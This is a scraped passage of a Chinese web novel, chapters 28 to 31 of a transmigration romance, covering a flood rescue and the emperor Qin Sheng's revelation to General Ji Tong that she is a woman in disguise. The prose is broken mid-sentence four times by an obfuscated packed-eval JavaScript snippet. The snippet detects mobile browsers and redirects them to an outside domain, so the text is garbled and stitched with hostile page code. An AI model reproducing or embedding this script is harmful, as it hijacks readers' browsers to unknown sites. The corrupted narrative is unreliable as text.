古重韧和秦笙都昏迷不醒,还有一个死人是皇帝手下亲兵队的,已经微微有些难闻。 桂清离衣裙已经脏污得不成样子,连俏丽的脸蛋也被染的全是泥水,她看起来已经虚弱不堪,却还是在帮忙扶着古重韧送出来。 扶完古重韧,又准备去帮扶秦笙。 季桐拉了她一把,“去休息,剩下的都我们来。” 从里面被拽出来较为容易,但要钻进去再送人出来是很难的。 可季桐不愿意看桂清离这么辛苦,她已经精疲力竭了。 废墟周围虽然被清理干净,但他们待的这块地方是个三角形,只有一个狭窄的洞口,季桐将甲胄全脱,只剩了单薄的中衣,从洞口爬了进去。 秦笙跟他们一样,浑身都泥污满身,还好穿得厚,没有失温,只是昏迷。 季桐将他扛起,由头部从洞口小心翼翼往外送,那洞口残破的砖块非常锋利硌人,只能一边送着一边季桐还用手挡着锋利的地方,避免磕碰到秦笙。 “小心点接,秦公子要是有事你们一百条命也不够赔的。” 好不容易将人完全送出去,季桐望了一眼洞里已经死去多时的那白甲亲兵。 白甲兵自从上次肃清了一轮之后,留下的都是忠心护主的好将士。 季桐叹了口气。 洞口太小,已经尸僵的身躯根本难以通过洞口,如果把这块地方全拆了很费时间人力,这地方久呆又很危险,无关身份地位,只是为了一具尸体……不值得。 季桐爬了出来。 拍了拍身上的泥污,“走吧,全部扶上马,先去旁边的临州修整,其他的事后面派人来解决。” 此次随秦笙出来的肯定不止这一个白甲兵,恐怕都已经凶多吉少,不过出宫前都会登记,到时候他们的家眷都会得到一大笔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247401|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抚慰金,秦笙肯定会再多添上一笔,也算是一点安慰。 一行人骑着马踏上了山路。 季桐走在最前面,厉寡言身后捆着昏迷的古重韧。 亲兵队长带着疲惫不堪的桂清离,她看着也是要睡着了。 这里的石路一直被水流冲刷着,明明不是低洼地区,但水深也大概有十厘米,如果是走路就麻烦了,不人人都拉着手前行的话是很容易摔倒的,还好有先见之明,队伍精简马匹都是上等马。 季桐在上马前专门检查过他们三个,古重韧身上伤很多,看起来都是钝伤,估计是撞击到石头之类的,秦笙也有一些,但很少,而且不严重,桂清离几乎没有伤。 季桐将秦笙抱在怀中,一路要照顾伤患,她骑马的速度也不敢太快,几人都是匀速前行。 棉花团子跟在空中飘,也不说话,看来是在双开。 晨光微亮,小雨也停了。 季桐放下手臂,揉了揉自己的臂膀上的酸肉,她之前一直举着手臂给怀里的人挡这绵绵雨丝。 她甩了甩手,然后回头看见怀中的人睁开了双眼,虚着眸子看她。 眼神晦暗。 季桐没理他这个明显不悦的眼神,将手搂了搂,把怀里的人抱得更紧了。 秦笙低头看到她沾着些血污的手掌,皱眉冷言冷语:“谢谢。” “不谢。”季桐问:“说说吧,秦公子,怎么回事?” “我跟你们路线不一样,我们来的时候就走的这条路。”秦笙说话还是气息微弱。 “我记得我出发时这条路还因为泥石流封着呢。”季桐刚出发时就得知了最近的一条道已经走不了了。 “当天晚上就能走了,那时候你们已经出发七八个小时了。”秦笙将所有事都解释了,“我就是晚上才出发的,走这条道只要四天就能到绥石,而且是直通绥石北,有系统指路直接找到了他们。” “可惜当天大雨刚停,洪灾泛滥,北边村落离河道很近,山洪来的陡急,我和手下的白甲兵被冲散了,只剩下林令一个人还在,情急之下我又花了10积分,他与我被卡在倒塌的三角形墙壁里,刚好古重韧和桂清离也被卡在这里。” “所以这个叫林令的白甲兵是怎么死的?”季桐问。 “山洪冲下来的时候,他被撞到了尖锐的石头上,被卡住的时候就已经不太行了,我拽着他进了三角区域,后来还是死了。” “你此行带了多少人?”季桐又问。 “十二个。”秦笙眼眸低垂。 “都死了?” “都死了。”秦笙忽然偏头抬眸恨了她一眼,“能不能别问了,你好像查户口的。” “我也不想问,可为什么十一个人都会跟你走散,你让他们去干什么了?”季桐伸手掰过他的下巴,不让他转头,只叫他不得不抬头正眼看向她。 “那个村落灾情很严重……”秦笙不得已地回答。 “哦?所以是让他们送温暖去了,没想到山洪突发?” 秦笙眼角泛红,双手扒开了禁锢自己下巴的手掌,一点点被雨水冲淡的血痕被蹭到了他的下巴上。 对方的一句句反问就像是戳在他心头的软刀子,是啊,如果不是他意气用事,根本不会落到这个下场。 可他根本无法无视那些受苦的百姓,他想要救人,他做不到直奔任务而去,忽视那些有血有肉的人命。 29. 第二十九章 秦笙善良聪明,季桐知道,可是他也天真。 他在现代就是个富家少爷,上头又有两个哥哥替他承担起了家业的重担,除了画稿的修改反复之外从未受过社会的毒打。 来了古代,直接就坐上了皇帝的位置。 他虽然能够聪明地应对一切宫内事物,却缺乏了帝王应有的杀伐果决和对天灾自然的敬畏。 他实在是不适合当皇帝。 “季大将军!”后面的桂清离不知何时休息够了,招了招手,“谢谢你们。” 桂清离早在废墟之下就猜到了这个秦公子身份不一般,却没想到居然引来季大将军亲自来救。 “多谢季大将军。”古重韧也从昏迷中醒来了一会儿了,只是道谢的语气得有些冷峻。 他被救时虽然人是昏着的,但意识却还清醒,出来时他眼睛虚掩着看了一眼,正巧看到季大将军拉了桂清离一把,差点揽入怀中。 自然没有好脸色。 季桐不理解,但还是点头致意。 她低头看秦笙,秦笙居然也冷冷的,不知道为什么不高兴。 季桐拉了拉缰绳,让马儿走快了些。 “季大将军呢,问我那么多问题,是担心我,还是担心桂清离?”秦笙低声问。 “何出此言?” “不然为何季大将军要自请来绥石?又听到我派人先去救村民这么生气。”秦笙语气明显带着一股子酸味。 季桐一愣。 这她还真不好说理由,总不能说自己能听到他和系统的对话吧? 斟酌了一下道:“之前你说过,男女主有危险时系统会让你去救,我提前猜到了,不行吗?” 秦笙不语。 那这季大将军未免太会未雨绸缪,他还是当天晚上才被456告知说男女主又有危险,这人居然比系统反应还快。 临州不远,翻过山却是另一方天地,这暴雨就是不下临州,只是偶有小雨,想来是山脉阻挡。 夕阳落下,一行人终于找到了一家稍微大点的客栈,清洗了身上的淤泥,换了衣服,又派人去附近医馆请了医师来治伤。 这客栈价贵,房还剩的多,此次出来带的钱足够,手下的人能单住也都安排单住了。 但上房只有两间,给桂清离和古重韧住了一间,秦笙住一间,只有单床,季桐只得自己开了一间中等房。 一行人一起吃了个饭,季桐手掌随便包扎过后,就回房躺下休息了。 谁知她刚倒下,门口就响起敲门声。 季桐起身开门,挑眉:“怎么是你?” 古重韧。 “那个,季大将军,很感激您几月前帮清离逃过了选秀,也很感激您在洪涝之中辛苦救援,但……”他言语闪烁,似乎有些难以出口。 “到底怎么了?” “还请季大将军不要再给清离夹菜了。”古重韧脸涨得通红,他经过了好一番思想斗争才来的。 “啊?” 季桐愣住,季桐无语。 她不是故意的啊,就晚上吃顿饭的功夫而已,她给桂清离夹一下菜怎么了?她就是单纯记得书里面女主特别喜欢吃清炖猪蹄,但那菜离得远,刚好她顺手。 这就吃醋了? 男主你未免有点太小心眼了! 不过回过头思考了一下,无缘无故帮助别人确实容易引起误会。 “知道了。”季桐淡淡地回了一句。 “真的抱歉,季大将军!非我误会,是清离她,她忽然说起您气宇轩昂,又为国为民,实乃国之栋梁,草民一介凡夫俗子,自愧不如,所以……” 古重韧话说的有些磕巴,却还是尽量说得完善了。 季桐笑了笑,这人虽然占有欲强了点,但好在是个有话直说的,倒也实诚。 “知道了,我心有所属,一时无意之举,令古兄多想了。” 古重韧终于松了口气,“多谢季大将军解惑,是草民冒犯了。” 他行了个礼,匆忙退走了。 人虽走了,季桐却还在门口站着,望着拐角处。 “出来吧。”季桐笑着,小声嘲了句:“堂堂帝王,偷听墙角,成何体统。” 秦笙抿着唇走近。 “你真不喜欢她?” 季桐摇了摇头。 “那你对谁心有所属?” 秦笙声音越说越小。 “这么想知道,进屋聊聊?”季桐倚在门框,吊儿郎当地笑着。 秦笙没有犹豫,直接进了屋。 季桐挑眉,没想到他这么爽快,于是反手关了门,到桌前给他倒了杯茶水。 “坐。” 季桐戏弄了他这么久,无非是觉得好玩,后来又觉得这人总是不真诚面对自己的心意,才一再激他,此刻倒是觉得有些腻了。 欺骗不如强迫。 “皇上,您的任务完成了吗?”季桐轻声问。 秦笙嘴角嗫嚅着:“完成了。” “哦?就只是救男女主吗?” “嗯。”秦笙还是不愿意说。 “你还没回答我,你的心有所属是谁?” “回京时间还长,我想皇上在回去的途中,会猜到的。”季桐模棱两可道。 片刻后安静后,季桐问:“皇上来的匆忙,灾情都处理好了吗?” “这个自然,赈灾粮与治理水患的人该安排的都安排好了。”秦笙原本略微蹙紧的眉头又紧了几分。 见秦笙忧愁起来,季桐上前低头抚了抚他的眉头。 他总是这样,表面清冷疏离得很,实际上心软的不行,面对天灾下的流民担忧得要命,从来没把那些人当纸片。 历史上那些有心无力的皇帝大概就是说他这样的。 秦笙忽地甩开她的手。 季桐一愣,手掌上缠着的布条不稳,散了开来,露出烂遭破皮的掌心,是因雨水刷过而感染。 秦笙也愣住了,转头去拽她的手,“对不起,我不是故意的。” “没事,微臣皮糙肉厚的,身子很好,过几日就没事了。”季桐默默缩回手。 “这都感染了!还没事!”秦笙掏出身上带着的那老医师留下的金疮药,“我给你重新包扎。” 那会儿大家用过晚饭后医师光顾着给他和古重韧治伤,季桐的伤是自己从药箱拿药自己随便包的。 “你会包扎吗?”季桐眉毛微动。 秦笙斜眼剜了她一眼,“总比你这好,不行就再去请那老医师回来。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258033|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大晚上的,没必要。” 那老医师少说有六七十岁了,要是摔着了可不得了。 “那你就好好受着。”秦笙少有的冷硬语气。 秦笙小心地清理了她的掌心,又重新撒上金疮药,再拿白布一圈一圈缠绕。 456不知何时突然开机了,它甩了甩头:【天呐!我感觉我进水了。】 秦笙冷漠:【闭嘴。】 456:【这是哪里啊?这么快就出来了?!还好还好,吓死我了,我还以为耗完能量后我会被淹死呢!呜呜呜,山洪太可怕了!】 秦笙:【……】 456:【哎!季大将军在耶!快做任务!】 秦笙有气无力:【闭嘴。】 秦笙给季桐的手包扎好后将绳结捆在掌心,像是个蝴蝶结。 “谢谢,但是这样我就不能自己端茶喝了,也不能端碗了。”季桐将手掌翻看了一下。 秦笙面无表情地将她的手又拉过去,然后默默把布条绳结转至手背。 季桐轻笑两声。 “无事我就回去了。”秦笙起身。 “恭送皇上。” “在外就叫我秦公子就好。” “好,那恭送秦公子。”季桐顺着他。 秦笙突然问456:【有系统就不会被剧情所裹挟,意识绝不可能会被改变对吗?】 456:【对呀,宿主你是不是想问……】 秦笙立马打断它:【闭嘴,我没什么想问的。】 说完秦笙就朝门口走去。 456疯狂拽秦笙的衣角,可惜它没有实体,连风都无法掀起:【宿主!宿主!你不要走啊!你走了我怎么办啊!我要能量!呜呜呜,我好饿!做任务吧!求求你了呜呜呜!】 秦笙:【没说不做,再等等吧。】 456:【呜呜呜可是时间不多了就几天了啊呜呜呜!宿主宿主,你就当可怜可怜我吧!】 秦笙:【……】 秦笙的脚步顿在门口。 季桐适时地开口:“不如就在这儿休息吧,秦公子,免得又像上次遇上老鼠。” 秦笙犹豫了。 这会儿回去也睡不了,这456指不定怎么闹他。 季桐也是这么想的,这会儿让秦笙走了怕是要听一晚上的电流声。 一拍即合。 “那就打扰季大将军了。”秦笙收回了步子。 中等房的床也不算小,两个人足够分开躺着,谁也不挨着谁。 456安静下来,悄咪咪地说了句:【嘿嘿,那我屏蔽自己了,记得做任务哦,我要好好休息一下。】 说完456就瞬间进入死机状态,秦笙都没来得及嘴它一句。 季桐躺在外侧一些,将棉被往里面送了送。 “小心着凉。” 快重阳节了,夜里天气本就冷,再加上最近多雨,是得盖厚点。 季桐向来喜欢这种阴沉的天气,特别好眠。 星起月落。 天似亮不亮。 季桐从睡梦中惊醒,迷糊睁眼才发现有人在自己身上,准确的说是正在从自己身上爬过。 秦笙的双眼正对上她,长睫低垂在夜色中颤抖,显得有些惊慌失措。 30. 第三十章 他僵了几秒,然后语气奇快:“我刚刚去方便了。” 说完光速地滚进了床的内侧,表示刚刚只是个意外。 季桐嘴角弧度渐深,本来没睡醒,现在清醒了。 他刚刚的样子未免太可爱了些。 季桐忍住笑意,假装自己还没醒,迷糊道:“唔。”然后转身搂过他,将人禁锢在自己怀中。 秦笙挣扎了一下,没挣扎动。 “喂!”秦笙压低声音怒道:“你干什么?放开。” 可惜装睡的人叫不醒。 季桐闭着眼,吸猫般地吸着秦笙的气味,这么近的距离很少有,她大吸特吸,满足地蹭了蹭秦笙的脖颈。 “你!” 秦笙如论如何都掰不开季桐的臂膀。 耗尽力气之后秦笙无可奈何。 只能以这个姿势勉强继续入睡。 第二天起床的时候季桐神清气爽,秦笙挂着两个淡淡的黑眼圈。 季桐故意瞪着眼问:“哟,秦公子这是怎么了?没睡好?” 秦笙坐起身,眼睛还闭着,但手已经伸出了被窝。 他竖起了中指。 季桐瞪着眼费劲地理解了一下,然后确认这人真的会竖中指,没绷住,笑得整个床都在颤。 秦笙睁开眼,冷漠道:“很好笑吗。” “哈哈哈哈哈还可以。”季桐抿了抿嘴,终于忍住了没有再接着笑下去。 “你故意的。” 秦笙眸子盯着她。 “嗯,我故意的。”季桐毫不避讳,两人视线相接,忽然如电火花一般灼热。 秦笙从对视中主动撤开,“让开,下去,洗漱。” 季桐一个鲤鱼打挺翻身下床。 两人洗漱过后,得到了情侦处的消息,说是各地方的暴雨都从昨天早上开始陆续停了,洪灾都已经稳步进入救援当中。 其实早在三天前绥石的大雨就停了,只是中途又下了一场绵绵小雨干扰了救援,才治理的没有那么快。 灾后重建的工作繁多,“秦公子回去可得好好嘉赏这些督办的官员。”季桐提醒着。 “我自然知道。”秦笙问,“林令的尸身着人去收了吗?” “早派人去了,你还不放心我。” “放心的,只是随口一问。” 季桐去楼下包间吃早饭,秦笙也跟在身后,发现手下的人已经都吃过了,只剩下古重韧和桂清离正在用早饭。 季桐笑了笑:“看来是我起晚了。” 桂清离招了招手:“快来快来,季大哥,我给你俩特意点了酱汁金钱肚。” 古重韧用手肘碰了碰她,“叫季大将军。” “无妨。”季桐拉开椅子坐下。 几人和谐地吃完早餐,听着桂清离讲述这些菜如何能做得更好吃,连季桐都咂舌,居然做饭这么麻烦。 转头去看秦笙,这人居然在认真听讲。 “哦对了!”桂清离轻拍了一下桌角,“季大哥你们这两日怕是回不了京,还得住几日呢。” “怎么?” “你们回京走临州这条路是得往丕州去吧?丕州的官道又发生了泥石流,已经在修了,现在也不是不能过,但比较危险。”桂清离摇着头不赞成,“还是再多呆两日比较好,还好我们在避险的时候将身家银子都揣兜里了,哎昨天季大哥帮我们付了多少?” “不用了,不多。”季桐摇头,“你们刚从哑泉镇搬到绥石没多久,骤失新家,再起也难。” 桂清离眼睛眯成一条弯,“那就谢谢季大哥了!” 连古重韧那个冷脸小子也跟着诚心道:“多谢大将军。” 秦笙偏头去看她。 季桐也回看了他一眼,“吃饱了吗?” 秦笙不知为何神色有些呆呆的,像是在思考什么事情突然被打断,然后回过神小幅度地点头道:“吃饱了。” 好乖。 季桐拽着他的手离开了包厢。 再急着回京也没办法,这路都堵了,还是自身安危更重要,反正该安排的也都安排到位了,朝中那些人也不是吃干饭的。 不如逛一逛调整一下心情,免得让秦笙天天沉浸在忧国忧民闷闷不乐的状态里。 临州街道整洁,各处早起的小摊贩也都活络地经营着,灾民很少见。 “为何?” 一时间秦笙连手腕的疼痛都忽略了。 季桐知道他在问什么,解释道:“绥石到临州虽然很近,但却隔着一座大山,灾民没有马匹,哪来的那个力气翻山越岭,更何况北边灾情严重,当时山洪阻断去路,那些人避难早往南边跑了。” “这也是为什么临州雨势极小,相隔不远却天差地别。” 秦笙若有所思地点头,目光移到对方依然紧握着他手腕,对方掌心温度在秋日凉风里从肌肤纹理一点点渗入他的手腕。 季桐停在一个摊贩旁边,“这位姐姐,面具怎么卖?” 大娘高兴得合不拢嘴,多说了两句:“哎哟,公子真会说话,这面具十文钱,两位公子不是临州人吧,这面具是咱们这儿重阳节前一夜戴着祈福用的。” 重阳节前一夜还要祈福?还有这种习俗。 季桐没有听过,但表示了尊重,“那来两个吧。” 然后她转头看向秦笙,抬了抬下巴,“给钱,钱都放你那儿了。” 秦笙愣了一下,“那你先放手。” 季桐这才意识到一路自己都拉着他的手腕,松手的一瞬间,她都看到了红痕。 这皮肤未免太嫩了。 秦笙掏出荷包,发现里面的银钱果然变多了,他皱眉:“你什么时候放我这里的。” “昨天。” 秦笙付了钱,接过两个面具在自己脸上比对了一下。 “这面具的轮廓和公子您的脸型真是再般配不过了,你看这青色的花纹衬得您肤色更白皙了,红色这个又显得格外喜庆,您戴着正好,不仅祈福可以戴,弱冠礼上戴着玩也都合适!”大娘好一顿夸奖。 秦笙耳根红了些。 “谢谢。” 季桐转身往前走,秦笙跟在后面。 “她说你未到弱冠。”季桐小声笑道。 “我——” “我知道你多大。”季桐打断了他的辩解。 秦笙一口气出不来,闷着头转了个方向,往客栈方向回去了。 季桐笑着跟在后面,沿路买了一盒桂花糕。 “哎!别走那么快,我要追不上了。” 季桐在后面喊,秦笙就假装没听到。 直到回了客栈,秦笙才发现跟在后面的人什么时候不见了他都不知道,他在原地顿了几秒,然后提着两个面具回了休息的房间。 他不爱戴面具,觉得绳子勒耳很难受,以前疫情的时候他也不爱戴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258034|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口罩,要么不出门,要么出门就再配一个口罩延长带。 于是想找个盒子将面具先放起来。 找了一圈没有特别合适的盒子,只有那高架子上搁置着一个精致的长木盒。 这个纹样不像是这家店里的东西。 秦笙犹豫再三,还是取下了木盒。 “吱呀”一声,门被推开,厉寡言行礼道:“秦公子,大将军说他去一下季家情侦处,安排一下在各个州里的季家人办粥棚的事。” “哦。”秦笙手抖了一下,有一种干坏事被发现的窘迫,“这木盒……” “啊大将军他经常出门都带着这个礼盒,包得像是要送人的样子,就是一直没送。”厉寡言挠了挠头,“好像是从去交州那回起就一直带着了。” 说起八卦事来厉寡言不寡言了。 秦笙摆了摆手,叫他下去。 他还是没忍住好奇心,打开了木盒子——里面是一把青玉骨的折扇,新的,没有半分使用痕迹。 他记得这种颜色的青玉宫里也不多见,都是进贡品。 是哪个大臣为了讨好季止邪送的吗,那也没必要时时刻刻都带着,除非季止邪对这个大臣有意思。 他看看应该不打紧吧。 秦笙将扇子拿起,轻轻抖开。 扇面上画着京城郊外的山水和隐灵寺,天际飘着两只鸿雁,意境不错。 倒是很眼熟,像是他以前会收藏的东西,他现在寝宫里也摆着不少此刻摆件,屏风也是这类画作。 门再次被打开,秦笙手里的扇子落在桌上发出一声脆响。 “秦公子在干什么?这么惊慌?”季桐关上门,走近他,“哟?可别摔坏了。” 秦笙赶紧拾起看了看扇骨,左右仔细查看后确认没有损伤才抿着唇将折扇递给她,“没有摔坏,我不是故意的。” “不过,季大将军这么紧张这把扇子,可是很重要的人送的吗?” 季桐摇摇头,“不是,是打算送给很重要的人。” 秦笙沉默。 456忽然醒了,叫嚷着:【我的天呐!宿主!任务怎么还没完成?我在隔壁都完成俩任务了,我还以为是我的问题,原来不是我的问题啊呜呜呜。】 秦笙:【别吵。】 456:【只剩三天,只剩三天了!任务又要失败了!】 456开始撒泼打滚:【宿主求你了,做任务吧,再不做这天道不知道什么时候又要降天罚了。】 秦笙的内心里长长地叹了口气。 季桐听着却开始反思起来,她一直以来都顺着秦笙,不做过分的事,任务也是等秦笙主动说了才顺着他完成。 可秦笙这个闷葫芦实在是扶不起,脑子里纠结的东西太多了。 既然必须如系统所想必须按剧情走,那就走呗,干嘛一直顺着秦笙,反正他根本不需要知道实情,他现在也没实际的皇权,根本反抗不了。 不过,这天道有些烦了,他们不做任务关老百姓什么事,简直欠打。 若是她来做任务,她必得斗一斗争一争,非得拿男女主威胁系统不可。 季桐摸着折扇清凉的扇骨,主动提起,“秦公子,知道这个重要的人是谁吗?” “不知道,也不想知道。”他语气冷淡。 “是秦公子。”季桐弯腰贴近了他一些,呼吸声近在耳侧。 秦笙瞳孔骤然放大。 31. 第三十一章 秦笙很显然没有料到这种回答。 他眉眼皱着看向她,“扇面上双雁齐飞,季大将军什么意思?” 他自始至终还没有暴露过自己穿书后的性别,对方真的有可能在剧情和原身意志的影响下产生这种感情吗? 还是……对方原本就是个断袖。 季桐笑着:“什么意思不明显吗,有没有可能我喜欢的就是秦公子呢。” “你。”秦笙面上起了一层难掩的淡红,似乎是臊得慌,“你是断袖……” “秦三少,我们现代管这个叫,同性恋。”季桐继续调笑他。 一旁的456拿棉花团子捂着自己的嘴,一脸惊慌,不敢说话。 好半晌才喃喃道:【宿主……咱们可以走弯路了。啊不是不是,咱们可以走近路了。】 “不。”秦笙用了好一会儿才将这个信息给完全消化下去,然后避开了对方的视线,“我不是。” “不是什么。” “我只喜欢她。” “喜欢皇后娘娘吗?可微臣见您并不常常去看她,似乎也没有多在意。” 季桐进一步,秦笙就退一步。 “不是皇后。”秦笙低头想要逃避。 “那是谁?”季桐继续逼近。 “是季桐,只能是她。” 秦笙声音很小却十分坚然,说完一猫腰逃出了对方掌控的范围,然后匆匆开门跑走。 季桐留在房间里无语地笑了。 真的这么难认吗。 秦笙回房后,给自己倒了两杯茶水,猛然下肚,双手撑在桌沿,他不知道自己在坚持些什么,他不能否认每次与季大将军待在一起都格外心安,也不能否认每次见到皇后都异常排斥,他甚至不能否认……不能否认自己好像变心了。 不,没有变心,回想记忆中的季桐时,他依然满心都会被填满。 为什么。 究竟是为什么。 他自暴自弃地把自己倒进床铺里,任由思绪撕扯他的神智。 另一边季桐心情很好,决定给他一点提示,于是追了上去,一路追到了楼上的天字上等房里。 他回自己房间了。 像只受惊的小猫躲回纸箱子一样。 进了屋,看到对方疑似因为三观崩裂而蜷在被窝里,想想就觉得有点可怜的样子,季桐更加动了恻隐之心。 她拽了拽被子一角,“我以前其实……” “其实什么。”瓮声瓮气的声音从被窝里传来。 “其实有一个很好的朋友,他跟你很像,跟你一样可爱。” 说到这个份儿上了,他能听懂的吧。季桐确信。 被子里的人好一会儿没动静。 “…所以,我是替身吗?” 草。(一种植物) 季桐突然想把面前这个人摁地里三尺。 “我想打你。” 季桐语气骤降十八度。 房间里静得落针可闻,沉默得季桐以为对方不会再说话了,被窝缓缓从里面打开了。 “打。”秦笙又默了默,然后抿紧了唇,随手又将手半蜷着,将食指指关节咬进口中,不再动作。 他需要有人能打醒他。 季桐看着他好像准备迎接狂风暴雨一般。 ? 什么意思? 她伸手想去把他的手扒开,谁知伸到一半,秦笙就眯着眼,连牙齿也用力起来。 季桐忍不住笑出声了。 明白了,如果真的照着他头顶呼他一巴掌他估计是要受着忍着的。 “什么替身不替身的,狗血剧看太多了。”季桐将他的手拿开。 秦笙看着她,嘴唇刚刚因为咬过显得有些发白,他缓缓闭上眼,想努力忽略对方灼热的视线,等睁眼时,双眼略微有一点血丝。 如果迟早是要说的事情,为什么要坚持呢。 以前他还可以骗自己,可经过这么长时间的相处,他真的意识到,离开了皇宫,待在季止邪身边时是如此心头悸动。 “我是女子,所以…我不是他,不是你的好朋友。” 看戏看的正开心的456头顶连发了三个感叹号:【我的天呐!!!】 季桐也懵了。 …居然这样爆了。 不是,他不是一直很警惕,不愿意暴露穿越后身体的性别吗。 秦笙还没说完,继续道:“不妨告诉你这个秘密,我现在不是男人,是女扮男装。”他扯下外裳,露出束胸带。 纤细的身板,光洁的肩头,以及裹满严严实实束胸带的里衣。 对方不说话,但秦笙能看到对方的眼神游离在自己身上,一时间绯红爬满耳根后。正当他犹豫着要解释什么,又听对方轻笑了一声。 “我知道啊。”季桐盯着他的双眸,“早就知道。” “你……早就知道?”秦笙不敢置信,“多早?” “见你第一面。” 秦笙只觉得胸口发闷,透不过气来,像是一柄重锤子砸在自己心头。 没想到,原以为就算不是两情相悦,也该是互有好感,他用尽了浑身上下所有的勇气,结果对方原来只是觉得自己正常的喜欢了一个女人,说不定还只是因为剧情推动出现的喜欢。 对方只当自己是女孩子,自己却已经天人交战几百回合。 多么讽刺可笑。 他忽地觉得四肢无一不冷,像是被锁链束缚一般,喘不过气。 “为何不揭穿?” “因为不想。”季桐贴近他,“不想堂堂帝王因为性别而被拉下皇座,无处容身。” “原身是个混蛋,我不是。”她继续道。 秦笙垂下眼帘,不敢再看她,语气平淡如常:“那麻烦大将军帮我一下吧,这次任务是触碰束胸带,还有三天任务就要结束了,为了大邑风调雨顺,辛苦了。” 季桐又贴近了一些,附耳道:“不辛苦。” 456激动了【嗷】了一长声。 秦笙:【滚去睡觉。】 456头顶立马发出了一个滚蛋的表情包,然后光速关机。 季桐没有过分的动作,只是用指关节在带子边缘处刮了刮。 束胸带是由三指宽类似白色绷带的薄布条缠出来的,缠了很多层,季桐将手指从背部伸进去松了松。 秦笙感受到凉意,往前缩了一下,“你在干什么?” “这布裹的太紧了,你不会难受吗?” 季桐以前也不是没玩过男装cosplay,可现代的束胸方式要简单舒服得多。 “习惯就好了。”秦笙随口道。 “不能习惯。”季桐表示不赞同,“很伤身体,影响这里发育。” “已经成年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264145|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很久了,还发育吗?”秦笙不解。 “不是那个意思,就是对身体不好,影响消化,影响呼吸,容易出现增生。”季桐耐心解释。 “你懂得还挺多。”秦笙偏过头,将衣裳拉了起来,“以前谈过很多吗?” “怎么?皇上还会吃醋吗?”季桐笑道。 “我没说过对你有意思。”秦笙冷了脸。 “好吧,可皇上都是女人了,还会喜欢以前的未婚妻吗?”季桐故意问道,“还是说皇上根本不接受自己是个女人的事实。” “爱无关性别。”秦笙淡淡回了句,“没有不接受,做女人和做男人没有什么本质上的区别,都是人罢了。” 季桐若有所思。 见解不错,她也这么觉得,没什么好不接受的,自己就是自己,身体变成什么样都是自己。 话说开之后,季桐更加不愿意跟他分开睡了,不管秦笙怎么拒绝,她都赖在房间里,耗得秦笙更容易脸红了。 这人分明就是喜欢她,就是不愿意说出口。 季桐吩咐临州织造局的人连夜赶制了一件布料带有弹性的贴身中衣,第二天下午就送到了客栈来。 午后阳光正好。 厉寡言敲门时,季桐还在翻着话本子,听着床上的秦笙和456拌嘴说积分抽成的事。 “进。” 厉寡言端着黄花木盒,“临州织造局的人说时间紧迫,若有不合身再拿去改,大将军看看。” “没事了,你放着就下去吧。”季桐抬手。 厉寡言将黄花木盒放在了桌上,又关上了房门,然后站在门口愣了两秒,心说什么时候皇上跟大将军关系这么好了。 他挠了挠头才下楼。 季桐朝秦笙扬着下巴,“去看看。” “是什么?” “看看不就知道了。” 秦笙起身,打开了盒子,里面像是一件中衣,但很短小。 他将衣物拿了起来,有些不明白。 456:【宿主,这个好像是束胸衣啊。】 456:【大将军对你也太好了吧!是不是昨晚上做任务的时候嘿嘿嘿——】 秦笙肉眼可见的黑了脸:【什么也没发生,拿好你的能量和抽成,闭上你的嘴。】 456:【哦,那我能发下一个任务了吗~】 秦笙:【我能阻止你发?】 456:【不能,嘻嘻。】 456幸灾乐祸:【咳咳!下一个任务,亲亲。】 秦笙:【说啊。】 456:【亲亲啊!不是喊你,动词嘴对嘴亲亲!积分45分哦!】 秦笙:【……】 456:【大将军都知道你是女身了,还说了喜欢你,亲一下怎么了嘛~】 秦笙缓缓闭上双眼,希望这一切都是在做梦。 一定是他的打开方式不对,为什么进展如此迅速,剧情像是一双无形的大手推着他在波浪中往前飘,根本由不得自己。 恰好季桐适时地出现在他身后,将他的腰身揽住,“皇上,今天微臣也很喜欢你。” 秦笙没有防备身后的力量,一个没站稳,踉跄地双手撑在桌角,忍到了极致。 